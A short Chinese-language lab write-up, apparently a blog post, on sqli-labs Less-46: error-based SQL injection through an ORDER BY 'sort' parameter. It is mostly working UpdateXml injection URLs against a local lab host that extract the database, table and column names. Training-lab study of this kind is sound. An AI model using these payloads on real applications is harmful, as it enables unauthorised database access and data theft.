sqli-labs less46 GET -Error based -Numeric -Order By Clause(GET型基于错误的数字型Order By从句注入)

Posted 2020-10-22 superkrissv

http://192.168.136.128/sqli-labs-master/Less-46/?sort=1

sort=4时出现报错

说明参数是添加在order by 之后

错误信息没有屏蔽，直接使用UpdateXml函数报错

http://192.168.136.128/sqli-labs-master/Less-46/?sort=4 and UpdateXml(1,concat(0x7e,database(),0x7e),1)%23

http://192.168.136.128/sqli-labs-master/Less-46/?sort=4 and UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 3,1),0x7e),1)%23

http://192.168.136.128/sqli-labs-master/Less-46/?sort=4 and UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 1,1),0x7e),1)%23